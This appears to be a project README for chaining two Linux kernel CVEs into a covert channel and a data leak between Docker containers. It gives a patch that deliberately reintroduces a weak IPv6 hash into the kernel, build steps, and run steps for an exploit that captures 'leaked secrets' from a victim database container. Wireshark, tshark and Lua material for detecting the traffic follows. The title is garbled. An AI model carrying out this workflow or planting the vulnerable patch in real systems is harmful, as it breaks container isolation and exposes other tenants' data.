spiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-498823 linux kernel bugs chains to do secure comm app using side channel to establish key and establish covert channe;
This project demonstrates a covert communication channel using two Linux kernel vulnerabilities:
| Component | CVE | Purpose |
|---|---|---|
| Sync Channel | CVE-2023-1206 | Clock synchronization via IPv6 hash collision timing |
| Data Channel | CVE-2024-49882 | Cross-container data transfer via hugepage leaks |
┌─────────────────────────────────────────────────────────────────────┐
│ Non-ENCRYPTED COVERT CHANNEL │
├─────────────────────────────────────────────────────────────────────┤
│ Container A (Sender) Container B (Receiver) │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 1. Write data │ │ 4. Detect sync │ │
│ │ to hugepage │ │ preamble │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ IPv6 Hash ┌─────────────────┐ │
│ │ 2. Send sync │──Collision───▶│ 5. Measure │ │
│ │ preamble │ Timing │ latency │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ Hugepage ┌─────────────────┐ │
│ │ 3. Release │───Reuse──────▶│ 6. Capture │ │
│ │ hugepage │ │ leaked data │ │
│ └─────────────────┘ └─────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
You need kernel 6.12 with the vulnerability reintroduced:
# Clone kernel source
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12
# Apply vulnerability patch
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
/* more secured version of ipv6_addr_hash() */
static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
{
- return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+ u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+ return jhash_3words(v,
+ (__force u32)a->s6_addr32[2],
+ (__force u32)a->s6_addr32[3],
+ initval);
}
EOF
patch -p1 < /tmp/vuln_patch.patch
# Build and install
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub
# Reboot into vulnerable kernel
sudo reboot
# Allocate hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Verify
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages
# Load udmabuf module
sudo modprobe udmabuf
# Verify /dev/udmabuf exists
ls -la /dev/udmabuf
# Install Docker with IPv6 support
sudo apt-get update
sudo apt-get install -y docker.io docker-compose
# Enable IPv6 in Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
"ipv6": true,
"fixed-cidr-v6": "fd00::/80",
"experimental": true,
"ip6tables": true
}
EOF
sudo systemctl restart docker
cd ~/covert_channel
# Build on host
make
# Build Docker containers
docker-compose build
# Run collision test
./test_collision
# Expected output:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!
# Terminal 1: Start victim database
docker-compose up victim_db
# Terminal 2: Run attacker
docker-compose run --rm attacker
# Inside container:
cd /exploit
./exploit_debug
# Terminal 3: Stop victim to trigger leak
docker stop victim_db
# Watch Terminal 2 for leaked secrets!
# Terminal 1: Start receiver
docker-compose run --rm receiver
cd /exploit
./covert_channel -r
# Terminal 2: Start sender
docker-compose run --rm sender
cd /exploit
./covert_channel -s "SECRET MESSAGE FROM CONTAINER A"
# Watch Terminal 1 receive the message!
# On host, capture Docker bridge traffic
sudo tcpdump -i docker0 -w covert_channel.pcap
# Or capture specific network
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap
# Filter for sync channel (IPv6 TCP SYN floods)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Filter for specific collision bucket traffic
ipv6.dst contains 20:01:0d:b8
# Filter by port
tcp.port == 31337
# Show only connection attempts (no data)
tcp.len == 0 && tcp.flags.syn == 1
# Time-based analysis (connections per second)
# Statistics -> I/O Graphs -> Y Axis: Packets/s
Sync Preamble: Alternating bursts of SYN packets
Timing Pattern:
IPv6 Address Pattern:
Save as ~/.local/lib/wireshark/plugins/covert_channel.lua:
-- Covert Channel Dissector for CVE-2023-1206
local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")
local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)
covert_proto.fields = { f_collision, f_bucket }
function covert_proto.dissector(buffer, pinfo, tree)
-- Check for IPv6 TCP SYN
if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
local src = pinfo.ipv6_src
-- Check for collision pattern
local a0 = src:get_bytes(0, 4)
local a1 = src:get_bytes(4, 4)
-- XOR check would go here
local subtree = tree:add(covert_proto, buffer())
subtree:add(f_collision, true)
end
end
-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)
# Live packet rate graph
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1
# Extract timing data for plotting
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
-Y "tcp.flags.syn==1" > timing_data.csv
# Plot with gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF
# Check current allocation
cat /proc/meminfo | grep Huge
# Increase allocation
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# If fails, try after dropping caches
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Load module
sudo modprobe udmabuf
# If missing, may need to enable in kernel config
# CONFIG_UDMABUF=m
# Create device if missing
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')
# Enable IPv6 forwarding
sudo sysctl -w net.ipv6.conf.all.forwarding=1